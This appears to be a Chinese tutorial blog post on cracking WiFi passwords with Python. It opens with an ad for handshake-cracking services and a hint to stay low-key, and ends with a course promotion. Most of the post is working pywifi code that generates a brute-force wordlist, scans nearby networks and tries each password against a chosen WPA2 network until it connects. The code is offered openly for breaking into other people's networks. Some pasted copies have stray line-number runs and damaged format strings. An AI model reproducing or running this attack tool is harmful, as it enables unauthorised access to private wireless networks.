用python实现破解WIFI密码

在线wifi跑包 金刚包跑包 cap跑包 hccapx ewsa在线 就来 握手包跑包

各位好 又见面了 我是曹操 今天给大家带来一篇新的教程

希望各位细心学习 低调用网

def product_passwd(length):
    words = '1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
    r = its.product(words,repeat=length)
    dic = open('paswwer.txt','a')
    
    for i in r:
        dic.write(''.join(i))
        dic.write(''.join('n'))
        print(i)
    
    dic.close()
    print('密码本生成完毕!')
123456789101112
def getwifi():
    wifi=pywifi.PyWiFi() 
    ifaces=wifi.interfaces()[0]
    ifaces.scan()  
    time.sleep(3)   
    result = ifaces.scan_results()
    n=0
    print("s%20s%20s"%("【无线名称】","【mac地址】","【信号强度】"))
    print("="*60)
    for data in result:
        if(data.bssid not in maclist): 
            maclist.append(data.bssid)
            if n<=wificount:
                print("s%30ss"%(data.ssid,data.bssid,data.signal))
                n=n+1
                time.sleep(2)
    print("="*60)
123456789101112131415161718
def readPassWord(self):
        print("开始破解:")
        while True:   
            try:
                passStr = str(self.file.readline())
                print(" 正在尝试:" + passStr)
                if not passStr:
                    break
                bool1 = self.test_connect(passStr)
                if bool1:
                    print("恭喜你,找到密码! 正确密码为:" + passStr)
                    break
                else:
                    print(" 密码错误!n","="*35)
                    time.sleep(3)
            except: 
                continue
        with open('result.txt','a+') as fw: 
            fw.write('WiFi名称:%s  密码:%s'%(wifiname,passStr))
            
1234567891011121314151617181920
def test_connect(self, findStr):  
        profile = pywifi.Profile()  
        profile.ssid = wifiname 
        profile.auth = const.AUTH_ALG_OPEN  
        profile.akm.append(const.AKM_TYPE_WPA2PSK)  
        profile.cipher = const.CIPHER_TYPE_CCMP  
        profile.key = findStr  
        self.iface.remove_all_network_profiles()  
        tmp_profile = self.iface.add_network_profile(profile)  
        self.iface.connect(tmp_profile) 
        time.sleep(3)
        if self.iface.status() == const.IFACE_CONNECTED: 
            isOK = True
        else:
            isOK = False
        self.iface.disconnect()  
        time.sleep(1)
        return isOK
123456789101112131415161718
# -*- coding: utf-8 -*-
import time
import pywifi 
from pywifi import const
import itertools as its
maclist = []
wificount=15
def product_passwd(length):
    words = '1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
    r = its.product(words,repeat=length)
    dic = open('paswwer.txt','a')
    
    for i in r:
        dic.write(''.join(i))
        dic.write(''.join('n'))
        print(i)
    
    dic.close()
    print('密码本生成完毕!')
product_passwd(input("请输入要生成的密码本密码长度:"))    
def getwifi():
    wifi=pywifi.PyWiFi() 
    ifaces=wifi.interfaces()[0]
    ifaces.scan()  
    time.sleep(3)   
    result = ifaces.scan_results()
    n=0
    print("s%20s%20s"%("【无线名称】","【mac地址】","【信号强度】"))
    print("="*60)
    for data in result:
        if(data.bssid not in maclist): 
            maclist.append(data.bssid)
            if n<=wificount:
                print("s%30ss"%(data.ssid,data.bssid,data.signal))
                n=n+1
                time.sleep(2)
    print("="*60)
class PoJie():
    def __init__(self, path):
        self.file = open(path, "r", errors="ignore")
        wifi = pywifi.PyWiFi()  
        self.iface = wifi.interfaces()[0] 
        print("获取到的无线网卡:")
        print(self.iface.name())  
        self.iface.disconnect()  
        time.sleep(1)
        assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]  
    def readPassWord(self):
        print("开始破解:")
        while True:   
            try:
                passStr = str(self.file.readline())
                print(" 正在尝试:" + passStr)
                if not passStr:
                    break
                bool1 = self.test_connect(passStr)
                if bool1:
                    print("恭喜你,找到密码! 正确密码为:" + passStr)
                    break
                else:
                    print(" 密码错误!n","="*35)
                    time.sleep(3)
            except: 
                continue
        with open('result.txt','a+') as fw: 
            fw.write('WiFi名称:%s  密码:%s'%(wifiname,passStr))
            
    def test_connect(self, findStr):  
        profile = pywifi.Profile()  
        profile.ssid = wifiname 
        profile.auth = const.AUTH_ALG_OPEN  
        profile.akm.append(const.AKM_TYPE_WPA2PSK)  
        profile.cipher = const.CIPHER_TYPE_CCMP  
        profile.key = findStr  
        self.iface.remove_all_network_profiles()  
        tmp_profile = self.iface.add_network_profile(profile)  
        self.iface.connect(tmp_profile) 
        time.sleep(3)
        if self.iface.status() == const.IFACE_CONNECTED: 
            isOK = True
        else:
            isOK = False
        self.iface.disconnect()  
        time.sleep(1)
        return isOK
 
    
    def __del__(self): 
        self.file.close()
getwifi()
wifiname = input("请输入要破解的WiFi名称:")  # wifi名称)
path = input('请输入字典文件路径:')
#r"D://Data/Python/wifi/dictionary.txt"
start = PoJie(path)
start.readPassWord()
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112

WiFi字典破解

  1. 创建一个字典文件(密码本)
  2. 搜索附近的Wi-Fi名称(生成Wi-Fi SSID列表)
  3. 使用密码本中的组合进行穷举
  4. 验证Wi-Fi连接是否成功

【完整代码】
【思路框架】

感谢您的阅读!!!我想多说一句,很多人在学习Python的过程中会遇到各种烦恼和问题,没有人解答的话很容易放弃。作为一名Python开发工程师,我整理了一套最新的Python系统学习教程,包括从基础的Python脚本到Web开发、爬虫、数据分析、数据可视化、机器学习等内容。如果您想获取这些资料,请关注我,并在后台私信我:“01”,我会将资料发送给您。

赞(0)